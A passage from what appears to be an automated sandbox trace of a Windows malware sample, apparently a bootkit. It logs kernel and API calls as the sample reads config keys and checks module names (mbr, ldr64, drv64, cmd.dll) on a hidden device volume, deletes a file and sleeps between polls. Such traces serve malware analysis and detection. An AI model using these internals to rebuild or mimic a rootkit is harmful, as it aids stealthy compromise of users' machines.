Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.122] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.122] IdePortDispatch () returned 0x103 [0126.122] KeWaitForMutexObject () returned 0x0 [0126.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.123] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.123] IdePortDispatch () returned 0x103 [0126.123] KeWaitForMutexObject () returned 0x0 [0126.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.123] KeLeaveCriticalRegion () [0126.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.123] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.123] KeEnterCriticalRegion () [0126.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.123] KeLeaveCriticalRegion () [0126.123] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.123] KeEnterCriticalRegion () [0126.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.123] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.124] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] KeLeaveCriticalRegion () [0126.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.124] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.124] KeEnterCriticalRegion () [0126.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] ExFreePoolWithTag (P=0xfffffa80037dd5d0, Tag=0x0) [0126.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] KeLeaveCriticalRegion () [0126.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.124] ReleaseMutex (hMutex=0xf0) returned 1 [0126.124] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.124] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.124] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.124] KeEnterCriticalRegion () [0126.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.124] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.124] IdePortDispatch () returned 0x103 [0126.124] KeWaitForMutexObject () returned 0x0 [0126.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.124] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.124] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.124] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.124] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.124] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9d30 [0126.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] KeLeaveCriticalRegion () [0126.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.124] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.124] KeEnterCriticalRegion () [0126.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.125] KeLeaveCriticalRegion () [0126.125] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.125] KeEnterCriticalRegion () [0126.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.125] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.125] IdePortDispatch () returned 0x103 [0126.125] KeWaitForMutexObject () returned 0x0 [0126.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.125] KeLeaveCriticalRegion () [0126.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.125] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.125] KeEnterCriticalRegion () [0126.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.125] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0126.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.125] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.125] IdePortDispatch () returned 0x103 [0126.125] KeWaitForMutexObject () returned 0x0 [0126.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.126] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.126] IdePortDispatch () returned 0x103 [0126.126] KeWaitForMutexObject () returned 0x0 [0126.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.126] KeLeaveCriticalRegion () [0126.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.126] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.126] KeEnterCriticalRegion () [0126.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.126] KeLeaveCriticalRegion () [0126.126] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.126] KeEnterCriticalRegion () [0126.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.127] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.127] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.127] KeLeaveCriticalRegion () [0126.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.127] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.127] KeEnterCriticalRegion () [0126.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.127] ExFreePoolWithTag (P=0xfffffa80037d9d30, Tag=0x0) [0126.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.127] KeLeaveCriticalRegion () [0126.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.127] ReleaseMutex (hMutex=0xf0) returned 1 [0126.127] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.127] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.127] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.127] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.127] KeEnterCriticalRegion () [0126.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.127] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.127] IdePortDispatch () returned 0x103 [0126.127] KeWaitForMutexObject () returned 0x0 [0126.127] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.127] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.127] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.127] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.127] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.127] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.127] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.127] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.127] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.127] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.127] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.128] KeLeaveCriticalRegion () [0126.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.128] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.128] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.128] KeEnterCriticalRegion () [0126.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.128] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.128] IdePortDispatch () returned 0x103 [0126.128] KeWaitForMutexObject () returned 0x0 [0126.128] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.128] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.128] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.128] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.128] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.128] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.128] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.128] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.128] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.128] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.128] KeLeaveCriticalRegion () [0126.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.128] ReleaseMutex (hMutex=0x100) returned 1 [0126.128] Sleep (dwMilliseconds=0x2bf20) [0126.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e61c610, dwHighDateTime=0x1d24fa4)) [0126.136] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.136] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.136] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.136] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.136] KeEnterCriticalRegion () [0126.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.136] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.136] IdePortDispatch () returned 0x103 [0126.136] KeWaitForMutexObject () returned 0x0 [0126.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.136] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.136] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.136] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.136] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.136] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037de3c0 [0126.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.136] KeLeaveCriticalRegion () [0126.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.136] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.136] KeEnterCriticalRegion () [0126.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.137] KeLeaveCriticalRegion () [0126.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.137] KeEnterCriticalRegion () [0126.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.137] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.137] IdePortDispatch () returned 0x103 [0126.137] KeWaitForMutexObject () returned 0x0 [0126.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.137] KeLeaveCriticalRegion () [0126.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.137] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.137] KeEnterCriticalRegion () [0126.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0126.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.137] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.137] IdePortDispatch () returned 0x103 [0126.137] KeWaitForMutexObject () returned 0x0 [0126.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.138] IdePortDispatch () returned 0x103 [0126.138] KeWaitForMutexObject () returned 0x0 [0126.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.138] KeLeaveCriticalRegion () [0126.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.138] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.138] KeEnterCriticalRegion () [0126.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.138] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.138] KeLeaveCriticalRegion () [0126.138] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.138] KeEnterCriticalRegion () [0126.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.138] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.138] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] KeLeaveCriticalRegion () [0126.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.139] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.139] KeEnterCriticalRegion () [0126.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] ExFreePoolWithTag (P=0xfffffa80037de3c0, Tag=0x0) [0126.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] KeLeaveCriticalRegion () [0126.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.139] ReleaseMutex (hMutex=0xf0) returned 1 [0126.139] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.139] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.139] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.139] KeEnterCriticalRegion () [0126.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.139] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.139] IdePortDispatch () returned 0x103 [0126.139] KeWaitForMutexObject () returned 0x0 [0126.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.139] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.139] _strnicmp 